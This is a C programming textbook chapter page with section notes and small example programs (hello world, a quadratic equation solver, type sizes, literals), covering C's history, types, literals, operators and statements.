C Programming

Reading map

Previous: Assembly Language Reading map Next: Operating Systems

Volume II: Systems Programming (Chapter 4)Code & tests Chapter diagrams Download editable SVGs

C was created as a replacement for Assembly. This explains a lot of inconsistencies in its design. However, there is no replacement for it at the moment. So, we just have to deal with it.

Chapter Map

First impressions

The C language: background and design

C developed alongside Unix out of B and BCPL so the operating system could be ported beyond PDP-7 assembly; its systems-programming origins explain both its efficiency and its design quirks compared with Pascal.

Detailed notes - 4.1: The C language: background and design

1

C shares familiar concepts with Pascal:

  • typed variables, expressions, statements, branches, loops, subprograms
  • every subprogram is called a function, including procedure-like functions
  • braces { } group statements as begin / end do in Pascal

2

surface notation is not the main difference between languages

  • := versus = and begin/end versus braces are easy to learn
  • conceptual differences require experience writing programs in both languages
  • ask why language features work as they do, not just how to spell them
  • understanding design tradeoffs helps evaluate a language's limitations

3

author presents C as an important but imperfect systems-programming tool

  • learning its origins helps explain its unusual choices
  • claims about popularity, indispensable uses, and professional status are the author's position

4

C developed alongside Unix

  • Ken Thompson initially implemented Unix in PDP-7 assembly
  • sought a simple higher-level language that was inexpensive to implement
  • derived B from BCPL

5

rewriting Unix in a higher-level language aimed to simplify porting

  • a new processor architecture otherwise required extensive assembly changes

6

B was too limited for that task

  • operations largely worked with machine words rather than a rich type system
  • Dennis Ritchie extended the approach into C

7

Ritchie is credited with creating C

  • Brian Kernighan coauthored the well-known book, rather than the language
  • this author also emphasizes Thompson's B and early Unix work as influences

8

three design pressures explain many C features:

  • replace much assembly programming
  • keep implementation relatively simple
  • solve immediate practical systems problems
  • later longevity was not the original design requirement

9

kernels and embedded firmware illustrate C's low-level role

  • express most work more compactly than assembly
  • compiler optimization reduces the need for hand-written machine-level code
  • retain assembly for operations unavailable directly in C
  • book's claim that only C/assembly are possible is its historical design viewpoint

10

C can also support portable software with few runtime dependencies

  • isolate platform-specific details explicitly
  • high-level abstractions depend on their own implementations and libraries
  • portability involves those dependencies as well as the application's source

11

learn C without treating every language feature as an ideal design

  • experience with other languages provides a basis for comparison

12

author criticizes later C standards and corporate influence on standardization

  • chooses a deliberately restricted language subset for this book
  • this is an opinion about design and governance, not a ban imposed by C

13

interoperability needs shared specifications

  • every standard is a specification
  • a specification need not be an officially adopted standard

14

specification can describe an existing implementation

  • lets others choose to implement compatible behavior
  • author favors this practical, voluntary model

15

author contrasts that model with officially endorsed standards

  • discusses authority attributed to governments, experts, and participating organizations

16

committees are one mechanism for producing standards

  • author introduces a strongly critical discussion of their decision-making

17

author argues that committee incentives can favor accepting proposals over careful review

  • objections and consensus-building require time and effort
  • these broad judgments are the author's commentary

18

author also criticizes organizational representation and commercial influence

  • concern: standards may favor large vendors over independent implementers

19

early Internet RFCs are the author's preferred example of practical specifications

  • emphasizes simplicity, clarity, and Jon Postel's contribution
  • contrasts these with later, more complex documents

20

author uses Pascal to illustrate divergence between a standard and implementations

  • book follows the practical dialect being taught

21

author rejects much of standardized C++

  • later C++ material will deliberately use a small, older subset

22

author likewise excludes selected newer C facilities

  • examples include variable-length arrays and complex-number facilities
  • exclusion expresses the book's coding approach, not universal unsuitability

23

examples use compiler options and a restricted C subset

  • check the selected language mode when compiling older-style source
Detailed notes - 4.2: First impressions

1

C is case-sensitive

  • keywords use lowercase
  • wordcount, WordCount, and WORDCOUNT are different identifiers
  • book's convention: lowercase names with underscores, e.g. word_count

2

block comments use /* ... */ and do not nest

  • first */ closes the comment
  • an inner /* has no nesting effect
  • use conditional preprocessing to disable code that may contain comments

3

// comments end at the newline

  • author prefers block comments for this book's C style
  • // is also part of standardized C from C99 onward

Program termination

A program reports its outcome through an integer exit status (0 for success, nonzero for failure); returning from main or calling exit() flushes stdio buffers, while _exit() terminates immediately at the OS level.

Detailed notes - 4.2.2: Program termination

1

exit status communicates the program's outcome

  • 0: success
  • nonzero: failure or another documented outcome
  • traditional Unix wait status exposes the low eight bits, 0..255
  • different nonzero values can identify different failures

2

minimal true / false programs return 0 / 1 from main

  • no library call -> no header needed
  • useful when shell scripts need a command with a known success/failure result

3

return finishes one function invocation

  • usually returns control to that function's caller
  • returning from the initial invocation of main ends the program
  • in C, recursively calling main does not make every return terminate the process

4

exit(status), declared in <stdlib.h>, terminates from any function

  • performs normal library cleanup, including flushing buffered output
  • _exit requests OS-level termination without flushing user-space stdio buffers
  • direct _exit can therefore lose pending text or file output

5

buffering and process operations interact

  • later sections explain effects involving fork, exit, and copied buffers

Hello, world!

#include <stdio.h>

int main()
{
    printf("Hello, world!\n");
    return 0;
}
gcc -Wall -g hello.c -o hello
./hello
Detailed notes - 4.2.1: Hello, world

1

first example:

  • include <stdio.h>
  • define int main(void)
  • printf("Hello, world\n");
  • return 0;
  • main is a function; int specifies its returned value's type

2

empty parameter lists require attention to the language version

  • older C distinguishes a non-prototype declaration f() from f(void)
  • use (void) when explicitly declaring a function with no parameters

3

C has no separate Pascal-style main-program statement block

  • executable statements occur inside functions
  • declarations can occur outside functions
  • hosted-program execution enters the user's code through main

4

main is normally called by startup code

  • executable entry point is commonly _start in the Unix examples
  • startup support prepares the environment, calls main, and handles termination
  • later examples provide their own startup code without the standard library

5

standard library supplies commonly available facilities alongside the implementation

  • compiler driver normally arranges its inclusion during linking
  • C can also be used without the normal hosted library/runtime

6

braces group statements into a compound statement

  • also delimit a function body

7

printf is a library-function call

  • C's core syntax has no special input/output statement
  • language constructs and library facilities are separate layers

8

printf is provided by a library, not by a dedicated language statement

  • compilers may nevertheless recognize standard-library calls for diagnostics/optimization

9

printf performs formatted output

  • print values of different types
  • choose numerical bases, widths, precision, and other formatting

10

printf also returns a value

  • on success, number of characters written
  • "Hello, world\n" has 13 characters
  • a call can ignore its result and be used for its output side effect

11

expression statements commonly perform work through side effects

  • assignments and function calls are central examples

12

string literal uses double quotes

  • "Hello, world\n" includes a newline escape
  • \n represents the newline character
  • outputting it provides the line break that writeln supplied in Pascal

13

Pascal can also put the newline into the string itself

  • examples use #10 or ^J
  • C's \n is a mnemonic spelling rather than a numeric character code

14

semicolon is part of statement syntax in C

  • Pascal normally uses it to separate statements
  • keep the semicolon on printf(...) even immediately before }

15

return expression; ends the current function

  • supplies its result
  • can terminate the function early
  • return 0; makes main return zero

16

main's result becomes the program's termination status

  • 0 conventionally indicates success
  • startup/termination support passes the result to the OS

17

#include makes header declarations available to this translation unit

  • <stdio.h>: implementation's standard-header search
  • "mymodule.h": customary spelling for a project header
  • header declares printf's interface, not its full implementation
  • compiler produces object code with an unresolved reference
  • linker resolves that reference using library code

18

dynamic linking can keep library code outside the executable file

  • runtime loader arranges access to the shared library
  • static linking is another possibility

19

including a header and linking a library are different operations

  • header supplies declarations used during compilation
  • linking supplies definitions needed by the object code
  • #include does not itself tell the linker to add a library

20

save the C source as hello.c

  • gcc is the compiler driver used in the book
  • GCC supports several languages through different front ends

21

other C implementations exist, including Clang

  • GCC is the book's chosen tool, not a language requirement

22

book's normal development options:

  • -Wall: enable a useful group of warnings, not literally every warning
  • -g: include debugging information
  • investigate diagnostics while developing the program

23

-o selects the output name

  • gcc -Wall -g hello.c -o hello
  • driver compiles source, invokes linking, and normally supplies standard libraries
  • without -o, the traditional default executable name is a.out
  • temporary object files may be removed after the combined operation

24

successful build normally prints no diagnostics

  • run ./hello
  • expected output: Hello, world followed by a newline
Tests & experiments (3 files) - 4.2.1: Hello, world
Section test01 (04-02)In catalog
hello.asmAssembly / 17 lines
global _start

section .data
msg db "Hello world", 10
msg_len equ $-msg

section .text
_start:
    mov eax, 4      ; write
    mov ebx, 1      ; to standard output
    mov ecx, msg        ; our message
    mov edx, msg_len    ; with it's length
    int 80h         ; system call number in Linux
                ; (software interrupt)
    mov eax, 1      ; _exit
    mov ebx, 0      ; with success
    int 80h         ; same system call number
hello.cC / 7 lines
#include <stdio.h>

int main()
{
    printf("Hello world!\n");
    return 0;
}
hello.sAssembly / 20 lines
   .file   "hello.c"
    .intel_syntax noprefix
    .text
    .section    .rodata
.LC0:
    .string "Hello world!"
    .text
    .globl  main
    .type   main, @function
main:
    push    rbp
    mov rbp, rsp
    mov edi, OFFSET FLAT:.LC0
    call    puts
    mov eax, 0
    pop rbp
    ret
    .size   main, .-main
    .ident  "GCC: (Debian 14.2.0-19) 14.2.0"
    .section    .note.GNU-stack,"",@progbits

Quadratic Equation

#include <stdio.h>
#include <math.h>

double discrim(double a, double b, double c)
{
    return b*b - 4*a*c;
}

int main()
{
    double p, q, r, d;
    int n;
    n = scanf("%lf %lf %lf", &p, &q, &r);
    if (n != 3) {
        printf("Error: wrong input.\n");
        return 1;
    }

    if (p == 0) {
        printf("Error: Not a quadratic equation!\n");
        return 2;
    }
    d = discrim(p, q, r);
    if (d < 0) {
        printf("No roots\n");
        return 0;
    }
    d = sqrt(d);
    printf("%.5f %.5f\n", (-q-d)/(2*p), (-q+d)/(2*p));
    return 0;
}
gcc -Wall -g qe.c -lm -o qe
./qe
1 -5 6
Detailed notes - 4.2.3: Quadratic equation

1

example solves a quadratic equation over the real numbers

  • coefficients must actually define a quadratic equation
  • negative discriminant -> report no real roots

2

new features needed:

  • double variables and a function with parameters
  • formatted input and output
  • passing addresses to let a function modify caller-owned objects
  • linking mathematical library functions such as sqrt

3

headers and discriminant function:

  • <stdio.h> declares standard I/O functions
  • <math.h> declares sqrt and other mathematical functions
  • double discrim(double a, double b, double c)
  • return b*b - 4*a*c;
  • parameter and function declarations put type before name
  • storing the result in a temporary double before returning is optional

4

main needs local doubles for the three coefficients and discriminant

  • also an int for checking the input result

5

any compound statement can introduce local variables

  • scope is confined to that block
  • book declares locals at the beginning of each block
  • double p, q, r, d; int n;
  • comma-separated variables can share a declaration's base type
  • each function parameter still needs its own type declaration

6

printf accepts a format string followed by values to format

  • ordinary format characters are copied to output
  • conversion directives beginning with % consume additional arguments

7

conversion directives describe the argument and representation:

  • %d: signed decimal integer
  • %x: unsigned hexadecimal integer
  • %05d: decimal with minimum width five, padded with zeros
  • printf("%d times %d is %d\n", x, x, x*x)
  • width is a minimum, not a limit on the printed number

8

%f prints a floating-point value in fixed-point notation

  • %.5f requests five digits after the decimal point
  • float arguments are promoted to double in variadic calls such as printf

9

scanf uses a format string to describe input conversions

  • %lf reads a double; %f reads a float
  • receives addresses of destination objects
  • C arguments are passed by value; no implicit Pascal-style var parameter

10

variable occupies memory that can also be accessed through its address

  • scanf receives that address and stores the converted value there

11

Pascal implementations also commonly pass addresses for var parameters

  • language hides that mechanism; C exposes it explicitly

12

address-of operator: &variable

  • scanf("%lf %lf %lf", &p, &q, &r)
  • three conversion directives and three double destinations

13

scanf's result must be checked before using the coefficients

  • reports the number of assignments successfully performed
  • input can stop matching before all three values are assigned
  • untouched uninitialized variables still contain indeterminate values

14

n = scanf("%lf %lf %lf", &p, &q, &r);

  • if (n != 3) { report input error; return 1; }
  • != means unequal
  • if requires parentheses around its condition; there is no then keyword

15

invalid input prevents solving the problem

  • report the failure and return nonzero status

16

p == 0 means the equation is not quadratic

  • == tests equality; = assigns
  • return 2 distinguishes this failure from malformed input

17

compute d = discrim(p, q, r)

  • d < 0: report no real roots, return 0
  • absence of real roots is a valid answer, not a program failure
  • otherwise replace d by sqrt(d), since the discriminant is no longer needed

18

print (-q-d)/(2*p) and (-q+d)/(2*p), each with %.5f

  • repeated root is printed twice in this simple example
  • terminate with return 0
  • a first build without the math library can fail with undefined reference to sqrt
  • compilation accepted its declaration; linking could not find its definition

19

linker diagnostic can identify the driver's temporary object file

  • confirms separate compilation and linking stages

20

ld is the linker invoked by the compiler driver

  • linker reports the unresolved reference and returns failure
  • driver reports that unsuccessful exit status

21

on the Unix setup in this example, sqrt comes from libm

  • build with gcc -Wall -g qe.c -lm -o qe
  • <math.h> supplies the declaration; -lm requests the library

22

place libraries after the source/object files that need them

  • one-pass archive resolution and linker options can make command order significant
  • do not rely on permissive behavior from an older toolchain

23

simple checks:

  • 1 -2 1 -> repeated root 1
  • 1 2 1 -> repeated root -1
  • 1 -5 6 -> roots 2 and 3
  • 1 1 1 -> no real roots
  • 1 -1 -4 -> approximately -1.56155 and 2.56155
Examples & tests (3 files) - 4.2.3: Quadratic equation
Book exampleBook example: qe.cIn catalog
qe.cC / 29 lines
#include <stdio.h>
#include <math.h>

double discrim(double a, double b, double c)
{
    return b*b - 4*a*c;
}
int main()
{
    double p, q, r, d;
    int n;
    n = scanf("%lf %lf %lf", &p, &q, &r);
    if(n != 3) {
        printf("Error: wrong input.\n");
        return 1;
    }
    if(p == 0) {
        printf("Error: Not a quadratic equation!\n");
        return 2;
    }
    d = discrim(p, q, r);
    if(d < 0) {
        printf("No roots\n");
        return 0;
    }
    d = sqrt(d);
    printf("%.5lf %.5lf\n", (-q-d)/(2*p), (-q+d)/(2*p));
    return 0;
}
Section test03 (04-02)In catalog
quad-00.cC / 31 lines
#include <stdio.h>
#include <math.h>

double discrim(double a, double b, double c)
{
    return b*b - 4*a*c;
}

int main()
{
    double p, q, r, d;
    int n;
    n = scanf("%lf %lf %lf", &p, &q, &r);
    if (n != 3) {
        printf("Error: wrong input.\n");
        return 1;
    }

    if (p == 0) {
        printf("Error: Not a quadratic equation!\n");
        return 2;
    }
    d = discrim(p, q, r);
    if (d < 0) {
        printf("No roots\n");
        return 0;
    }
    d = sqrt(d);
    printf("%.5f %.5f\n", (-q-d)/(2*p), (-q+d)/(2*p));
    return 0;
}
quad-01.cC / 17 lines
#include <stdio.h>
#include <math.h>

int main()
{
    int n;
    double a, b, c, d, x1, x2;
    n = scanf("%lf %lf %lf", &a, &b, &c);
    if (n != 3) { printf("Error: wrong input.\n"); return 1; }
    if (a == 0) { printf("Error: Not a quadratic equation!\n"); return 2; }
    d = b*b - 4*a*c;
    if (d < 0) { printf("No roots\n"); return 0; }
    d = sqrt(d);
    x1 = (-b-d)/(2*a); x2 = (-b+d)/(2*a);
    printf("%.5f %.5f\n", x1, x2);
    return 0;
}

How to find the required header

man malloc
man printf
man 3 printf    # Library functions manual
man 2 close     # System calls manual
Detailed notes - 4.2.4: Finding the required header

1

missing declarations produce diagnostics such as implicit declaration

  • historical C allowed implicit function declarations
  • modern C requires appropriate declarations; diagnostic severity depends on mode/toolchain
  • using the actual declaration permits argument and result type checking

2

look up the function with man, e.g. man malloc

  • synopsis lists the required headers and declaration
  • follow documented header requirements

3

function names can collide with shell-command names

  • man 3 printf selects the C library function
  • section 2 documents system-call interfaces, e.g. man 2 close
  • documentation also identifies extra link options such as -lm

Basics of C

Detailed notes - 4.3: Basic C language facilities

1

move from introductory examples to a systematic survey of C's core features

Function Declarations and Definitions

char case_up(char c);   /* Declaration */

char case_up(char c)    /* Definition */
{
    if (c >= 'a' && c <= 'z')
        return c - ('a' - 'A');
    else
        return c;
}

Use void if function does not return anything:

void print_n_chars(char c, int n)
{
    int k;
    for (k = 0; k < n; k++)
        printf("%c", c);
}
Detailed notes - 4.3.1: Function declarations and definitions

1

translation units are compiled separately

  • compiler need not know the contents of other units
  • linker combines resulting object modules into a program

2

file scope contains declarations and definitions

  • introduce function, variable, constant, and type names
  • a name is normally visible from its declaration onward in that scope
  • linkage determines whether other translation units can refer to an object

3

declaration supplies information about an entity

  • definition additionally provides the entity itself, e.g. a function body
  • another translation unit can supply the definition used by a declaration

4

function definition = declarator/header plus body

  • return type, function name, typed parameter list
  • body contains declarations and statements within braces
  • case_up example maps ASCII 'a'..'z' to corresponding uppercase letters
  • && combines its two range comparisons

5

case_up's definition supplies enough information to generate its code

  • return type char; parameter char c
  • body tests the range and returns converted or unchanged code

6

char case_up(char c); declares the function without defining it

  • compiler can check calls using its parameter and result types
  • function body may appear later or in another translation unit
  • linker resolves the external definition

7

void return type expresses a procedure-like function

  • no result value; call exists for its side effect
  • print_n_chars(c, n) loops n times and prints c with %c
  • loop counter ranges from 0 through n-1

Variables and Their Description

int dangerous_global_noinit_variable;   /* in .bss section */
int dangerous_global_variable = 42;     /* in .data section */

int f()
{
    int local_var = 42;             /* in stack (e.g. [ebp-4]) */
    /*
    ...
    */
}
Detailed notes - 4.3.2: Variables and their definitions

1

variables defined within a function/block are local

  • a definition outside functions introduces a file-scope object
  • external linkage may let other modules refer to it
  • author recommends avoiding unnecessary global state

2

initializer gives an object its initial value

  • int local_var = 42;
  • distinct from assignment to an object that already exists
  • some objects, including arrays, can be initialized but not assigned as wholes

3

default initialization depends on storage duration

  • static-duration objects are zero-initialized if no explicit initializer is given
  • ordinary automatic locals have indeterminate values without initialization
  • local static variables are an important exception to the local/global shorthand

4

usual implementation model:

  • initialized static data in .data; zero-initialized storage in .bss
  • loader/startup arranges the initial data image and zero filling
  • ordinary locals occupy registers or stack-frame storage
  • reused stack storage is not implicitly cleared on every function call
  • reading an uninitialized automatic object is a programming error

5

static initial values can be encoded in the executable's data image

  • automatic initialization is performed when execution reaches the declaration
  • avoid unnecessary duplicate initialization followed immediately by assignment
  • actual generated work depends on optimization

Built-in Types

In 64-bit system:

Type Size Sign Notes
char 1 [un]signed smallest addressable unit
short 2 signed at least 16 bits
int 4 signed natural word size
long 8 signed 8 on Linux/Mac, 4 on Windows
long long 8 signed at least 64 bits
float 4 - IEEE 754 single
double 8 - IEEE 754 double
long double 16 - x87 80-bit extended on x86
Detailed notes - 4.3.3: Built-in types

1

book's core C subset emphasizes integer and floating-point types

  • characters use integer codes; strings use arrays
  • later C versions also provide boolean and other facilities outside this subset

2

C exposes much of the machine's numerical representation

  • zero means false in a condition
  • nonzero means true
  • if(a) tests the same condition as if(a != 0) for an integer

3

character constant denotes a code

  • 'a' has the ASCII value 97 in the examples
  • character arithmetic is ordinary integer arithmetic
  • adding two arbitrary letter codes is legal but usually meaningless

4

integer type families:

  • char, short, int, long, long long
  • signed / unsigned variants provide different ranges

5

sizeof(char) is exactly one C byte

  • byte width is CHAR_BIT, commonly 8
  • plain char has implementation-defined signedness
  • signed char and unsigned char select it explicitly
  • these are distinct types even when plain char shares a representation

6

ASCII's 0..127 range fits both signed and unsigned eight-bit char

  • helps explain the historical lack of a single plain-char signedness rule

7

short, int, long, and long long are signed unless unsigned is written

  • signed may be explicit but is normally redundant for these types

8

short / unsigned short are commonly 16-bit

  • exact width is implementation-dependent
  • do not infer a portable binary format from that common convention

9

short int and short are equivalent type spellings

  • unsigned short int can be written unsigned short

10

int has historically followed practical machine/compiler conventions

  • often 16 bits on older targets, 32 bits on the book's i386 target
  • old implicit-int rules are not valid modern C practice
  • function results commonly travel in registers according to the ABI

11

many 64-bit systems still use 32-bit int

  • Unix LP64 systems commonly use 64-bit long and pointers
  • 64-bit hardware alone does not determine the C data model

12

long and unsigned long have the same width

  • long int and long are equivalent
  • commonly 32 bits on i386 and 64 bits on Unix LP64 systems

13

long long / unsigned long long commonly provide 64-bit integers

  • standard C requires at least that much range
  • exact width and availability in older dialects depend on the implementation

14

long is not universally large enough to store a pointer

  • book assumes a common Unix data model here
  • portable code must not generalize that assumption to every platform

15

portable size ordering:

  • sizeof(char) <= sizeof(short) <= sizeof(int)
  • sizeof(int) <= sizeof(long) <= sizeof(long long)
  • adjacent types may have equal sizes
  • exact bit widths require implementation information

16

floating types: float, double, long double

  • no unsigned variants
  • commonly single, double, and extended precision on the discussed x86 systems
  • precision and storage size are separate: 80-bit values may occupy 12/16 bytes
  • implementations can give some types the same representation

17

sqrt and many unsuffixed math functions operate on double

  • float is promoted to double for variadic/default-promoted arguments
  • this does not mean every float operation is necessarily computed as double
  • book generally chooses double; float can reduce storage for large arrays

18

sizeof reports object/type size in C bytes

  • sizeof(char) == 1
  • sizeof(int), sizeof(variable), sizeof(expression)
  • sizeof(1) == sizeof(int)
  • result type is size_t

19

sizeof is an operator, not a function

  • type operand requires parentheses
  • expression operand may omit them, though parentheses can improve clarity
Section test (1 file) - 4.3.3: Built-in types
Section test03 (04-03)In catalog
int.cC / 7 lines
#include <stdio.h>

int main()
{
    printf("%ld\n", sizeof(int));
    return 0;
}

Literals (Constants) of Different Types

Type Example
int 29/035/0x1d
float 1500.0/15.E2/0.15e3
char 'A'/65
char* "This " "is" " a string " "whi" "ch is" " long"
"This is a string which is long"
Escape Sequence Code Description
'\a' 7 Alarm or beep
'\b' 8 Backspace
'\f' 12 Form feed
'\n' 10 Newline (line feed)
'\r' 13 Carriage return
'\t' 9 Horizontal tab
'\v' 11 Vertical tab
'\\' 92 Backslash
'\'' 39 Single quotation mark
"\"" 34 Double quotation mark
Detailed notes - 4.3.4: Literals

1

literal = a value written directly in source code

2

integer spellings in the subset discussed:

  • decimal: 29
  • leading zero selects octal: 035 = 29
  • 0x selects hexadecimal: 0x1d = 29, 0x7E5 = 2021

3

integer-literal type depends on base, suffix, value, and language version

  • octal/hexadecimal literals are not automatically unsigned

4

unsuffixed decimal integer chooses a type that can represent its value

  • in modern C: int, long, then long long
  • do not rely on the source's historical mixed signed/unsigned sequence

5

unsuffixed octal/hexadecimal candidates include signed and unsigned types

  • int, unsigned int, long, unsigned long, long long, unsigned long long
  • first suitable type is selected

6

suffixes constrain integer type selection

  • U: unsigned
  • L: long; LL: long long
  • 15ULL: unsigned long long
  • uppercase L avoids confusion with the digit 1

7

ordinary C character constants such as 'a' have type int

  • no ordinary literal suffix selects short or unsigned short

8

floating literals can use decimal point and exponent e/E

  • 1500.0, 15E2, .15e4, 15000e-1 denote the same value
  • default type: double
  • F suffix: float; L suffix: long double

9

author considers detailed numeric-literal variants less central to this course

10

character constants use single quotes

  • ASCII examples: 'A' = 65; '1' = 49
  • character '1' is different from the integer 1

11

common escape sequences:

  • \n newline; \r carriage return; \t tab
  • \a alert; \b backspace; \f form feed; \v vertical tab
  • \\ backslash; \' single quote; \" double quote
  • numeric codes in the book assume ASCII-compatible execution characters

12

string literals use double quotes and the same escapes

  • apostrophe can appear directly inside a string
  • embedded double quote needs escaping: "Never say \"never\""

13

'M' and "M" are different:

  • 'M': integer character code
  • "M": array containing 'M' followed by a zero byte
  • array commonly converts to a pointer when used in an expression

14

numeric character escapes:

  • '\115' and '\x4d' represent ASCII M
  • octal escape consumes at most three octal digits
  • hexadecimal escape consumes all following hexadecimal digits
  • separate adjacent literals when needed to stop a hexadecimal escape

15

'\0' explicitly denotes the zero character

  • same integer value as 0
  • spelling helps show that code is dealing with character data

16

adjacent string literals concatenate during translation

  • "This " "is" " a string" becomes one string
  • useful for splitting long text over source lines
Section test (1 file) - 4.3.4: Literals
Section test04 (04-03)In catalog
string-00.cC / 10 lines
#include <stdio.h>

int main() {
    char str[] = "Hello";
    char* ptr = "there";
    str[1] = *("a"+2);
    /* ptr[1] = "a"; */
    printf("%s %s\n", str, ptr);
    return 0;
}

Operations and Expressions

An operator (+, *, <) combines operands into an expression, such as a + b. A statement performs an action or controls execution; a = b + 1; is an expression statement.

Description Operator Example
Function, array, struct member () [] -> . f(); a[0]; p->x
Postfix increment/decrement ++ -- x++; y--
Prefix increment/decrement ++ -- ++x; --y
Unary plus, minus, NOT, bit NOT + - ! ~ -x; !y; ~z
Cast, deref, address-of (type) * & (int)x; *p; &y
Size sizeof sizeof(int)
Multiplication, div, remainder * / % a * b; c % 2
Addition, subtraction + - a + b
Bitwise left/right shift << >> a << 2
Relational operators < <= > >= a <= b
Equality operators == != a == b
Bitwise AND & a & mask
Bitwise XOR ^ a ^ b
Bitwise OR | a | flag
Logical AND && a && b
Logical OR || a || b
Ternary conditional ?: a ? 1 : 0
Assignment = += -= *= /= ... a += 2
Comma , x = 1, y = 2
Terminology notes

Russian terminology, transliterated into ASCII:

Question from the notes: what about "side effects" in an explanation? When explaining something, is bringing up other topics also harmful?

Detailed notes - 4.3.5: Operators and expressions

1

expressions have a broad role in C

  • assignment itself is an operator with a result value
  • pointer arithmetic is also part of the expression system

2

basic arithmetic: +, -, *, /, %

  • integer / performs integer division: 32/5 = 6
  • floating / retains a fractional result: 32.0/5.0 is approximately 6.4
  • % gives the remainder of integer division

3

mixed types and negative operands require knowing the conversion/arithmetic rules

  • % does not accept floating operands

4

author recommends making intended types explicit and keeping arithmetic easy to read

  • this is a style policy, not a prohibition on valid mixed/negative arithmetic

5

comparisons: <, >, <=, >=, ==, !=

  • == compares; = assigns
  • if(a = 3) changes a and tests the assigned nonzero value
  • useful warnings help detect accidental assignment in conditions

6

extra parentheses can mark an intentional assignment in a condition

  • author prefers separate assignment and test for an ordinary if
  • assignment within some loop conditions is discussed later

7

comparison result has integer value 0 or 1

  • arbitrary nonzero values count as true in conditions
  • avoid obscure arithmetic combinations of comparison results

8

logical operators: &&, ||, !

  • && evaluates the right operand only if the left is true
  • || evaluates the right operand only if the left is false
  • short-circuiting matters when an operand has side effects

9

bitwise & and | work independently on corresponding bits

  • 25 & 62 = 24
  • 12 | 56 = 60
  • do not confuse these with && and ||

10

Pascal can select logical/bitwise behavior from operand types

  • C uses different operator spellings

11

~ complements bits; ^ is bitwise exclusive OR

  • on the discussed two's-complement targets, ~0 has value -1
  • there is no separate logical-XOR operator

12

shift operators: value << count and value >> count

  • unsigned left shift inserts low zero bits; unsigned right shift inserts high zeros
  • signed negative shifts and signed overflow require care
  • negative signed right shift has historically been implementation-defined
  • arithmetic right shift of a negative value is not always C division by a power of two
  • shift count must be within the valid width of the promoted operand

13

x86 distinction behind the examples:

  • SHL/SAL share an encoding
  • SHR shifts zeros in; SAR replicates the sign bit

14

assignment expression has the newly assigned value

  • x = (y = 17) + 1 sets y to 17 and x to 18

15

assignment associates right-to-left

  • a = b = c = d = e + 5 propagates the calculated value through d, c, b, a

16

historical explanation: assignment leaves a useful value in a machine register

  • chained assignments helped simple compilers reuse that value
  • modern optimizers can remove redundant loads without such spelling
  • assignment expressions also support useful loop idioms

17

compound assignment updates an object using its previous value

  • a += 7 adds 7 and stores the result back in a

18

compound assignment evaluates its left-side object expression once

  • v[f(x)] += 10 calls f once
  • v[f(x)] = v[f(x)] + 10 spells two calls
  • difference matters for cost, side effects, and choosing the same element

19

other compound assignments:

  • -=, *=, /=, %=, &=, |=, ^=, <<=, >>=
  • apply the indicated operation and store back into the left operand

20

++ and -- modify their operand by one

  • prefix forms ++i and --i return the updated value

21

postfix forms i++ and i-- also modify the object

  • prefix/postfix distinction concerns the expression result

22

prefix result = new value; postfix result = previous value

  • modification still occurs in either form

23

x = 7; y = ++x; -> x = 8, y = 8

  • p = 7; q = p++; -> p = 8, q = 7
  • decrement follows the same old/new distinction

24

book relates these operators to machine addressing modes that update registers

  • machine-level convenience helped shape C's expression syntax

25

function call and array subscript are expression operations

  • f() invokes a function even when it takes no arguments
  • function name without () normally supplies a function pointer instead
  • array[index] selects an array element

26

f(a, b, c) includes both the callable expression and its arguments

  • call syntax is not just punctuation added to a special statement

27

conditional operator: condition ? when_true : when_false

  • evaluate condition first
  • evaluate only the selected alternative
  • max = a > b ? a : b;

28

conditional expressions can occur inside function arguments

  • printf("Maximum value is %d\n", a > b ? a : b)
  • array-printing example selects ", " or "\n" after each element

comma operator evaluates left expression, then right expression

  • result is the right expression's value
  • distinct from commas separating function arguments or declarations

29

cast syntax: (type)expression

  • (double)(n+1)/3.0 converts the numerator before floating division
  • converting after integer division cannot recover a discarded fraction

30

casts also appear with pointer expressions

  • their meaning and validity depend on the involved types

31

address/member operators introduced later:

  • &x: address of x
  • *p: object designated by pointer p
  • object.member: select a member
  • p->member: same member access as (*p).member
  • unary & / * differ from binary bitwise-AND / multiplication

32

use parentheses when precedence is not obvious

  • multiplication/division bind before addition/subtraction
  • comparisons bind before && and ||; && binds before ||
  • postfix call/subscript/increment bind tightly
  • prefix unary operators bind before ordinary arithmetic binary operators
  • conditional operator is below logical operators
  • assignment is lower; comma is lowest
  • precedence determines grouping, not the general order of evaluation

C Language Statements

Statement Description Example
; Null or expression statement a = 5;
{ ... } Compound statement or block { int a = 1; a++; }
if...else Executes alternative block if false if (a) f(); else g()
switch Multi-way branch based on integer switch (x) { case 1: break; }
while Loops while condition is true while (x < 10) x++
do...while Loops at least once do { x++; } while (x < 10);
for Loop with init, condition and step for (int i = 0; i < 5; i++)
break Exits innermost loop or switch break
continue Skips to next iteration of a loop continue
return Exits function, optionally returns return 0
goto Jumps to a labeled statement goto error
Detailed notes - 4.3.6: Statements

1

C's statement vocabulary is small

  • many tasks are library calls rather than built-in statements
  • this subsection surveys expression statements, blocks, control flow, and jumps

2

semicolon belongs to particular statement syntax

  • required even before a closing brace when that statement requires it
  • compound/control statements do not all have an extra trailing semicolon

3

parentheses delimit control expressions

  • C uses no then / of delimiter after them

4

expression statement: expression;

  • compute an expression, normally for its side effects
  • discard its result value

5

x + 5; or 5; is syntactically possible but normally useless

  • compiler may warn that it has no effect
  • x = 17; is useful because evaluating assignment modifies x
  • assignment statement is an expression statement built from the assignment operator

6

function call used as an expression statement:

  • printf("Hello, world\n");
  • output happens; returned character count is discarded

7

empty statement is a lone semicolon

  • can be used when a loop's header performs all its work
  • author prefers visible empty braces {} where a deliberately empty body is needed

8

compound statement groups several statements within { }

  • also creates a block scope for local names

9

book's style places local declarations at the start of the block

  • C99 and later also allow declarations among statements
  • scope remains confined to the enclosing block

10

swap example declares temporary t inside the if body

  • t is visible only where it is needed
  • exchange adjacent out-of-order array elements and set the change flag

11

if (condition) statement1; else statement2;

  • else is optional
  • scalar zero / null pointer means false; nonzero means true
  • use braces for multiple statements in either branch

12

if adds no semicolon of its own

  • semicolons belong to its contained statements
  • an expression statement before else still needs its semicolon

13

while (condition) body

  • test first; false exits without executing the body
  • after the body, test again

14

do body while (condition);

  • executes body at least once
  • condition means continue, unlike Pascal repeat-until's termination condition

15

do-while body is one statement, commonly a braced block

  • write the final } while(condition); together for clarity
  • final semicolon is required

16

C for is more general than a Pascal counted loop

  • its three expression slots can implement many iteration patterns

17

for(i = 1; i <= 25; i++) prints squares from 1 through 25

  • first expression: execute once before looping
  • second: continuation test before each body execution
  • third: execute after the body, before the next test
  • all three may be omitted; the two semicolons remain
